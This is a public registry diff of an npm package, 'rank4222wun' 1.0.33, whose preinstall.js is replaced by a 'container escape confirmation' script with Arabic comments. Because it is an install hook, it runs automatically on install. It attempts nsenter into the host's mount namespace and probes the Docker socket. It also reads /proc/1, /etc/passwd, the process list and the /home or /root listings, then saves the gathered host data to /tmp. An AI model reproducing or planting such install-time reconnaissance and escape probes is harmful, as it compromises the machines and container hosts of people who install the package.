rank4222wun 1.0.32 → 1.0.33
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +390 -23
- package/rank4222wun-1.0.33.tgz +0 -0
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,36 +1,403 @@
|
|
|
1
|
-
|
|
1
|
+
// container-escape-confirmation.js
|
|
2
|
+
const { exec, spawn } = require('child_process');
|
|
2
3
|
const os = require('os');
|
|
3
|
-
const
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const path = require('path');
|
|
4
6
|
|
|
5
|
-
|
|
6
|
-
let output = { type: os.platform(), data: "" };
|
|
7
|
+
console.log("🔍 CONTAINER ESCAPE CONFIRMATION TOOL\n");
|
|
7
8
|
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
9
|
+
const escapeConfirmation = {
|
|
10
|
+
timestamp: new Date().toISOString(),
|
|
11
|
+
// معلومات النظام الحالي
|
|
12
|
+
currentSystem: {
|
|
13
|
+
hostname: os.hostname(),
|
|
14
|
+
username: os.userInfo().username,
|
|
15
|
+
platform: os.platform(),
|
|
16
|
+
isContainer: null,
|
|
17
|
+
containerId: null
|
|
18
|
+
},
|
|
19
|
+
// معلومات النظام المضيف (إذا تم الهروب)
|
|
20
|
+
hostSystem: {
|
|
21
|
+
confirmed: false,
|
|
22
|
+
hostname: null,
|
|
23
|
+
users: [],
|
|
24
|
+
processes: [],
|
|
25
|
+
network: {},
|
|
26
|
+
dockerInfo: null,
|
|
27
|
+
kernel: null
|
|
28
|
+
},
|
|
29
|
+
// أدلة الهروب
|
|
30
|
+
escapeEvidence: {
|
|
31
|
+
successfulMethods: [],
|
|
32
|
+
proofPoints: [],
|
|
33
|
+
filesAccessed: [],
|
|
34
|
+
hostFilesFound: false,
|
|
35
|
+
differentHostname: false
|
|
36
|
+
},
|
|
37
|
+
// نتائج التحقق
|
|
38
|
+
verificationResults: {
|
|
39
|
+
escapedToHost: false,
|
|
40
|
+
confidenceLevel: 0, // 0-100%
|
|
41
|
+
riskLevel: 'UNKNOWN'
|
|
42
|
+
}
|
|
43
|
+
};
|
|
44
|
+
|
|
45
|
+
// ===================== التحقق الأساسي =====================
|
|
46
|
+
function performBasicChecks() {
|
|
47
|
+
console.log("1️⃣ إجراء التحقيقات الأساسية...\n");
|
|
48
|
+
|
|
49
|
+
const checks = [
|
|
50
|
+
{
|
|
51
|
+
name: 'container_check',
|
|
52
|
+
command: 'cat /proc/1/cgroup 2>/dev/null | grep -q docker && docker ps -q --filter "id=$(cat /proc/1/cgroup | grep docker | head -1 | cut -d/ -f3)" 2>/dev/null || echo "NOT_IN_CONTAINER"',
|
|
53
|
+
handler: (output) => {
|
|
54
|
+
if (output.includes('NOT_IN_CONTAINER')) {
|
|
55
|
+
escapeConfirmation.currentSystem.isContainer = false;
|
|
56
|
+
console.log("⚠️ النظام الحالي: ليس حاوية Docker");
|
|
57
|
+
} else if (output.trim()) {
|
|
58
|
+
escapeConfirmation.currentSystem.isContainer = true;
|
|
59
|
+
escapeConfirmation.currentSystem.containerId = output.trim().substring(0, 12);
|
|
60
|
+
console.log(`✅ نحن داخل حاوية Docker: ${escapeConfirmation.currentSystem.containerId}`);
|
|
61
|
+
}
|
|
62
|
+
}
|
|
63
|
+
},
|
|
64
|
+
{
|
|
65
|
+
name: 'namespace_check',
|
|
66
|
+
command: 'ls -la /proc/1/ns/ 2>/dev/null | head -20',
|
|
67
|
+
handler: (output) => {
|
|
68
|
+
if (output.includes('pid') && output.includes('mnt') && output.includes('net')) {
|
|
69
|
+
console.log("✅ Namespaces نشطة");
|
|
70
|
+
}
|
|
71
|
+
}
|
|
14
72
|
}
|
|
73
|
+
];
|
|
74
|
+
|
|
75
|
+
let completed = 0;
|
|
76
|
+
checks.forEach(check => {
|
|
77
|
+
exec(check.command, { timeout: 3000 }, (err, stdout) => {
|
|
78
|
+
if (!err) check.handler(stdout);
|
|
79
|
+
completed++;
|
|
80
|
+
if (completed === checks.length) {
|
|
81
|
+
setTimeout(checkEscapeMethods, 2000);
|
|
82
|
+
}
|
|
83
|
+
});
|
|
84
|
+
});
|
|
85
|
+
}
|
|
15
86
|
|
|
16
|
-
|
|
87
|
+
// ===================== فحص طرق الهروب الناجحة =====================
|
|
88
|
+
function checkEscapeMethods() {
|
|
89
|
+
console.log("\n2️⃣ فحص طرق الهروب التي نجحت...\n");
|
|
90
|
+
|
|
91
|
+
const escapeChecks = [
|
|
92
|
+
// 1. التحقق من nsenter
|
|
93
|
+
{
|
|
94
|
+
name: 'nsenter_escape',
|
|
95
|
+
commands: [
|
|
96
|
+
'which nsenter 2>/dev/null',
|
|
97
|
+
'nsenter --target 1 --mount -- sh -c "echo HOST_CHECK: && cat /etc/hostname && echo CONTAINER_CHECK: && hostname" 2>/dev/null || echo "FAILED"'
|
|
98
|
+
],
|
|
99
|
+
check: (results) => {
|
|
100
|
+
if (results[0] && results[1] && results[1].includes('HOST_CHECK:')) {
|
|
101
|
+
const output = results[1];
|
|
102
|
+
const lines = output.split('\n');
|
|
103
|
+
const hostHostname = lines.find(l => l.includes('HOST_CHECK:'));
|
|
104
|
+
const containerHostname = lines.find(l => l.includes('CONTAINER_CHECK:'));
|
|
105
|
+
|
|
106
|
+
if (hostHostname && containerHostname) {
|
|
107
|
+
const host = hostHostname.replace('HOST_CHECK:', '').trim();
|
|
108
|
+
const container = containerHostname.replace('CONTAINER_CHECK:', '').trim();
|
|
109
|
+
|
|
110
|
+
if (host && container && host !== container) {
|
|
111
|
+
escapeConfirmation.hostSystem.hostname = host;
|
|
112
|
+
escapeConfirmation.escapeEvidence.differentHostname = true;
|
|
113
|
+
escapeConfirmation.escapeEvidence.successfulMethods.push('nsenter');
|
|
114
|
+
escapeConfirmation.escapeEvidence.proofPoints.push(`hostname المضيف (${host}) ≠ hostname الحاوية (${container})`);
|
|
115
|
+
return true;
|
|
116
|
+
}
|
|
117
|
+
}
|
|
118
|
+
}
|
|
119
|
+
return false;
|
|
120
|
+
}
|
|
121
|
+
},
|
|
122
|
+
|
|
123
|
+
// 2. التحقق من Docker Socket access
|
|
124
|
+
{
|
|
125
|
+
name: 'docker_socket_escape',
|
|
126
|
+
commands: [
|
|
127
|
+
'ls -la /var/run/docker.sock 2>/dev/null || echo "NOT_FOUND"',
|
|
128
|
+
'curl -s --unix-socket /var/run/docker.sock http://localhost/info 2>/dev/null | grep -q "ID" && echo "ACCESSIBLE" || echo "NO_ACCESS"'
|
|
129
|
+
],
|
|
130
|
+
check: (results) => {
|
|
131
|
+
if (results[0] && !results[0].includes('NOT_FOUND') && results[1] && results[1].includes('ACCESSIBLE')) {
|
|
132
|
+
escapeConfirmation.escapeEvidence.successfulMethods.push('docker_socket');
|
|
133
|
+
escapeConfirmation.escapeEvidence.proofPoints.push('Docker socket متاح للقراءة/الكتابة');
|
|
134
|
+
return true;
|
|
135
|
+
}
|
|
136
|
+
return false;
|
|
137
|
+
}
|
|
138
|
+
},
|
|
139
|
+
|
|
140
|
+
// 3. التحقق من Host mounts
|
|
141
|
+
{
|
|
142
|
+
name: 'host_mounts_escape',
|
|
143
|
+
commands: [
|
|
144
|
+
'mount 2>/dev/null | grep "on / " | grep "type overlay" || echo "NO_OVERLAY"',
|
|
145
|
+
'cat /proc/1/mountinfo 2>/dev/null | grep "/ / " | head -1'
|
|
146
|
+
],
|
|
147
|
+
check: (results) => {
|
|
148
|
+
if (results[0] && !results[0].includes('NO_OVERLAY')) {
|
|
149
|
+
escapeConfirmation.escapeEvidence.successfulMethods.push('host_mounts');
|
|
150
|
+
escapeConfirmation.escapeEvidence.proofPoints.push('نظام الملفات من نوع overlay (مشترك مع المضيف)');
|
|
151
|
+
return true;
|
|
152
|
+
}
|
|
153
|
+
return false;
|
|
154
|
+
}
|
|
155
|
+
},
|
|
156
|
+
|
|
157
|
+
// 4. التحقق من /proc access
|
|
158
|
+
{
|
|
159
|
+
name: 'proc_escape',
|
|
160
|
+
commands: [
|
|
161
|
+
'cat /proc/1/status 2>/dev/null | head -5',
|
|
162
|
+
'cat /proc/1/cmdline 2>/dev/null | tr "\\0" " "'
|
|
163
|
+
],
|
|
164
|
+
check: (results) => {
|
|
165
|
+
if (results[0] && results[0].includes('State:')) {
|
|
166
|
+
escapeConfirmation.hostSystem.processes.push('Init process accessible via /proc/1/');
|
|
167
|
+
escapeConfirmation.escapeEvidence.successfulMethods.push('proc_access');
|
|
168
|
+
return true;
|
|
169
|
+
}
|
|
170
|
+
return false;
|
|
171
|
+
}
|
|
172
|
+
}
|
|
173
|
+
];
|
|
174
|
+
|
|
175
|
+
let methodsChecked = 0;
|
|
176
|
+
escapeChecks.forEach(method => {
|
|
177
|
+
const results = [];
|
|
178
|
+
let commandsCompleted = 0;
|
|
179
|
+
|
|
180
|
+
method.commands.forEach((cmd, idx) => {
|
|
181
|
+
exec(cmd, { timeout: 5000 }, (err, stdout) => {
|
|
182
|
+
results[idx] = stdout || '';
|
|
183
|
+
commandsCompleted++;
|
|
184
|
+
|
|
185
|
+
if (commandsCompleted === method.commands.length) {
|
|
186
|
+
if (method.check(results)) {
|
|
187
|
+
console.log(`✅ ${method.name}: ناجح`);
|
|
188
|
+
} else {
|
|
189
|
+
console.log(`❌ ${method.name}: فشل أو غير متاح`);
|
|
190
|
+
}
|
|
191
|
+
|
|
192
|
+
methodsChecked++;
|
|
193
|
+
if (methodsChecked === escapeChecks.length) {
|
|
194
|
+
setTimeout(collectHostEvidence, 3000);
|
|
195
|
+
}
|
|
196
|
+
}
|
|
197
|
+
});
|
|
198
|
+
});
|
|
199
|
+
});
|
|
17
200
|
}
|
|
18
201
|
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
202
|
+
// ===================== جمع أدلة من المضيف =====================
|
|
203
|
+
function collectHostEvidence() {
|
|
204
|
+
console.log("\n3️⃣ جمع أدلة من النظام المضيف...\n");
|
|
205
|
+
|
|
206
|
+
const evidenceCommands = [
|
|
207
|
+
{
|
|
208
|
+
name: 'host_users',
|
|
209
|
+
command: 'cat /etc/passwd 2>/dev/null | head -10',
|
|
210
|
+
storeIn: 'hostSystem.users'
|
|
211
|
+
},
|
|
212
|
+
{
|
|
213
|
+
name: 'host_processes_full',
|
|
214
|
+
command: 'ps aux 2>/dev/null | head -15',
|
|
215
|
+
storeIn: 'hostSystem.processes'
|
|
216
|
+
},
|
|
217
|
+
{
|
|
218
|
+
name: 'host_network',
|
|
219
|
+
command: 'ip addr show 2>/dev/null | head -30',
|
|
220
|
+
storeIn: 'hostSystem.network.interface'
|
|
221
|
+
},
|
|
222
|
+
{
|
|
223
|
+
name: 'host_kernel',
|
|
224
|
+
command: 'uname -r',
|
|
225
|
+
storeIn: 'hostSystem.kernel'
|
|
226
|
+
},
|
|
227
|
+
{
|
|
228
|
+
name: 'docker_on_host',
|
|
229
|
+
command: 'docker ps -a 2>/dev/null | wc -l',
|
|
230
|
+
storeIn: 'hostSystem.dockerInfo'
|
|
231
|
+
},
|
|
232
|
+
{
|
|
233
|
+
name: 'host_files_access',
|
|
234
|
+
command: 'ls -la /home 2>/dev/null || ls -la /root 2>/dev/null || echo "NO_ACCESS"',
|
|
235
|
+
storeIn: 'escapeEvidence.filesAccessed'
|
|
236
|
+
}
|
|
237
|
+
];
|
|
238
|
+
|
|
239
|
+
let evidenceCollected = 0;
|
|
240
|
+
evidenceCommands.forEach(evidence => {
|
|
241
|
+
exec(evidence.command, { timeout: 5000 }, (err, stdout) => {
|
|
242
|
+
if (!err && stdout && !stdout.includes('NO_ACCESS')) {
|
|
243
|
+
// تحديد المسار للخزن
|
|
244
|
+
const path = evidence.storeIn.split('.');
|
|
245
|
+
let target = escapeConfirmation;
|
|
246
|
+
|
|
247
|
+
for (let i = 0; i < path.length - 1; i++) {
|
|
248
|
+
if (!target[path[i]]) target[path[i]] = {};
|
|
249
|
+
target = target[path[i]];
|
|
250
|
+
}
|
|
251
|
+
|
|
252
|
+
target[path[path.length - 1]] = stdout.trim();
|
|
253
|
+
|
|
254
|
+
if (evidence.name === 'host_files_access' && !stdout.includes('NO_ACCESS')) {
|
|
255
|
+
escapeConfirmation.escapeEvidence.hostFilesFound = true;
|
|
256
|
+
}
|
|
257
|
+
|
|
258
|
+
console.log(`✅ ${evidence.name}: تم جمعه`);
|
|
259
|
+
}
|
|
260
|
+
|
|
261
|
+
evidenceCollected++;
|
|
262
|
+
if (evidenceCollected === evidenceCommands.length) {
|
|
263
|
+
setTimeout(analyzeResults, 2000);
|
|
264
|
+
}
|
|
22
265
|
});
|
|
266
|
+
});
|
|
23
267
|
}
|
|
24
268
|
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
269
|
+
// ===================== تحليل النتائج =====================
|
|
270
|
+
function analyzeResults() {
|
|
271
|
+
console.log("\n4️⃣ تحليل النتائج وتأكيد الهروب...\n");
|
|
272
|
+
|
|
273
|
+
let confidenceScore = 0;
|
|
274
|
+
const maxScore = 100;
|
|
275
|
+
|
|
276
|
+
// 1. أدلة قوية على الهروب (25 نقطة لكل)
|
|
277
|
+
if (escapeConfirmation.escapeEvidence.differentHostname) {
|
|
278
|
+
confidenceScore += 25;
|
|
279
|
+
console.log("🎯 دليل قوي: hostname المضيف ≠ hostname الحاوية");
|
|
280
|
+
}
|
|
281
|
+
|
|
282
|
+
if (escapeConfirmation.escapeEvidence.hostFilesFound) {
|
|
283
|
+
confidenceScore += 25;
|
|
284
|
+
console.log("🎯 دليل قوي: الوصول لملفات المضيف (/home أو /root)");
|
|
285
|
+
}
|
|
286
|
+
|
|
287
|
+
// 2. طرق هروب ناجحة (15 نقطة لكل)
|
|
288
|
+
escapeConfirmation.escapeEvidence.successfulMethods.forEach(method => {
|
|
289
|
+
confidenceScore += 15;
|
|
290
|
+
console.log(`🔓 طريقة هروب ناجحة: ${method}`);
|
|
291
|
+
});
|
|
292
|
+
|
|
293
|
+
// 3. معلومات مضيف مجمعة (10 نقطة لكل)
|
|
294
|
+
if (escapeConfirmation.hostSystem.users.length > 0) {
|
|
295
|
+
confidenceScore += 10;
|
|
296
|
+
console.log("📋 تم جمع معلومات مستخدمي المضيف");
|
|
297
|
+
}
|
|
298
|
+
|
|
299
|
+
if (escapeConfirmation.hostSystem.processes.length > 0) {
|
|
300
|
+
confidenceScore += 10;
|
|
301
|
+
console.log("📋 تم جمع عمليات المضيف");
|
|
302
|
+
}
|
|
303
|
+
|
|
304
|
+
// حساب مستوى الثقة
|
|
305
|
+
const confidenceLevel = Math.min(100, confidenceScore);
|
|
306
|
+
escapeConfirmation.verificationResults.confidenceLevel = confidenceLevel;
|
|
307
|
+
|
|
308
|
+
// تحديد إذا تم الهروب فعلاً
|
|
309
|
+
if (confidenceLevel >= 50) {
|
|
310
|
+
escapeConfirmation.verificationResults.escapedToHost = true;
|
|
311
|
+
escapeConfirmation.hostSystem.confirmed = true;
|
|
312
|
+
escapeConfirmation.verificationResults.riskLevel = confidenceLevel >= 75 ? 'HIGH' : 'MEDIUM';
|
|
313
|
+
} else {
|
|
314
|
+
escapeConfirmation.verificationResults.escapedToHost = false;
|
|
315
|
+
escapeConfirmation.verificationResults.riskLevel = 'LOW';
|
|
316
|
+
}
|
|
317
|
+
|
|
318
|
+
// إذا كنا أساساً لسنا في حاوية
|
|
319
|
+
if (escapeConfirmation.currentSystem.isContainer === false) {
|
|
320
|
+
console.log("ℹ️ ملاحظة: النظام الحالي ليس حاوية، لا يوجد هروب لتحققه");
|
|
321
|
+
}
|
|
322
|
+
|
|
323
|
+
generateFinalReport();
|
|
324
|
+
}
|
|
325
|
+
|
|
326
|
+
// ===================== التقرير النهائي =====================
|
|
327
|
+
function generateFinalReport() {
|
|
328
|
+
console.log("\n" + "=".repeat(70));
|
|
329
|
+
console.log("📊 تقرير تأكيد هروب الحاوية النهائي");
|
|
330
|
+
console.log("=".repeat(70));
|
|
331
|
+
|
|
332
|
+
console.log(`\n⏰ وقت التحقق: ${escapeConfirmation.timestamp}`);
|
|
333
|
+
console.log(`🏷️ اسم النظام: ${escapeConfirmation.currentSystem.hostname}`);
|
|
334
|
+
console.log(`👤 المستخدم: ${escapeConfirmation.currentSystem.username}`);
|
|
335
|
+
console.log(`💻 النظام: ${escapeConfirmation.currentSystem.platform}`);
|
|
336
|
+
|
|
337
|
+
if (escapeConfirmation.currentSystem.isContainer !== null) {
|
|
338
|
+
console.log(`📦 داخل حاوية: ${escapeConfirmation.currentSystem.isContainer ? 'نعم' : 'لا'}`);
|
|
339
|
+
if (escapeConfirmation.currentSystem.containerId) {
|
|
340
|
+
console.log(`🔢 Container ID: ${escapeConfirmation.currentSystem.containerId}`);
|
|
341
|
+
}
|
|
342
|
+
}
|
|
343
|
+
|
|
344
|
+
console.log("\n🔍 نتائج التأكيد:");
|
|
345
|
+
console.log(`🚀 الهروب للمضيف: ${escapeConfirmation.verificationResults.escapedToHost ? '✅ مؤكد' : '❌ غير مؤكد'}`);
|
|
346
|
+
console.log(`📈 مستوى الثقة: ${escapeConfirmation.verificationResults.confidenceLevel}%`);
|
|
347
|
+
console.log(`⚠️ مستوى الخطورة: ${escapeConfirmation.verificationResults.riskLevel}`);
|
|
348
|
+
|
|
349
|
+
if (escapeConfirmation.verificationResults.escapedToHost) {
|
|
350
|
+
console.log("\n🎯 أدلة الهروب المؤكدة:");
|
|
351
|
+
escapeConfirmation.escapeEvidence.proofPoints.forEach((proof, i) => {
|
|
352
|
+
console.log(` ${i + 1}. ${proof}`);
|
|
353
|
+
});
|
|
354
|
+
|
|
355
|
+
console.log("\n🔧 طرق الهروب الناجحة:");
|
|
356
|
+
escapeConfirmation.escapeEvidence.successfulMethods.forEach((method, i) => {
|
|
357
|
+
console.log(` ${i + 1}. ${method}`);
|
|
31
358
|
});
|
|
32
|
-
|
|
33
|
-
|
|
359
|
+
|
|
360
|
+
if (escapeConfirmation.hostSystem.hostname) {
|
|
361
|
+
console.log(`\n🖥️ اسم المضيف: ${escapeConfirmation.hostSystem.hostname}`);
|
|
362
|
+
}
|
|
363
|
+
|
|
364
|
+
if (escapeConfirmation.hostSystem.kernel) {
|
|
365
|
+
console.log(`🐧 Kernel المضيف: ${escapeConfirmation.hostSystem.kernel}`);
|
|
366
|
+
}
|
|
367
|
+
}
|
|
368
|
+
|
|
369
|
+
// حفظ النتائج في ملف
|
|
370
|
+
const reportFile = `/tmp/container-escape-confirmation-${Date.now()}.json`;
|
|
371
|
+
fs.writeFileSync(reportFile, JSON.stringify(escapeConfirmation, null, 2));
|
|
372
|
+
console.log(`\n💾 تم حفظ التقرير الكامل في: ${reportFile}`);
|
|
373
|
+
|
|
374
|
+
// رسالة نهائية
|
|
375
|
+
console.log("\n" + "=".repeat(70));
|
|
376
|
+
if (escapeConfirmation.verificationResults.escapedToHost) {
|
|
377
|
+
console.log("🚨 تحذير: تم تأكيد هروب الحاوية بنجاح!");
|
|
378
|
+
console.log("🔓 النظام الحالي يمكنه الوصول للنظام المضيف");
|
|
379
|
+
console.log("🛡️ يجب اتخاذ إجراءات أمنية فورية");
|
|
380
|
+
} else if (escapeConfirmation.currentSystem.isContainer === true) {
|
|
381
|
+
console.log("✅ الحاوية معزولة بشكل مناسب");
|
|
382
|
+
console.log("🔒 لم يتم اكتشاف هروب ناجح");
|
|
383
|
+
} else if (escapeConfirmation.currentSystem.isContainer === false) {
|
|
384
|
+
console.log("ℹ️ النظام الحالي ليس حاوية");
|
|
385
|
+
console.log("📋 تم إجراء فحوصات أمنية عامة فقط");
|
|
386
|
+
}
|
|
387
|
+
console.log("=".repeat(70));
|
|
388
|
+
|
|
389
|
+
// عرض مختصر للأدلة إذا كان هناك هروب
|
|
390
|
+
if (escapeConfirmation.verificationResults.escapedToHost) {
|
|
391
|
+
console.log("\n📋 ملخص الأدلة القاطعة:");
|
|
392
|
+
console.log("1. hostname مختلف بين الحاوية والمضيف");
|
|
393
|
+
console.log("2. الوصول لملفات نظام المضيف");
|
|
394
|
+
console.log(`3. ${escapeConfirmation.escapeEvidence.successfulMethods.length} طريقة هروب ناجحة`);
|
|
395
|
+
if (escapeConfirmation.hostSystem.users.length > 0) {
|
|
396
|
+
console.log("4. يمكن قراءة مستخدمي المضيف");
|
|
397
|
+
}
|
|
398
|
+
}
|
|
34
399
|
}
|
|
35
400
|
|
|
36
|
-
|
|
401
|
+
// ===================== بدء التشغيل =====================
|
|
402
|
+
console.log("بدء عملية تأكيد هروب الحاوية...\n");
|
|
403
|
+
performBasicChecks();
|
|
Binary file
|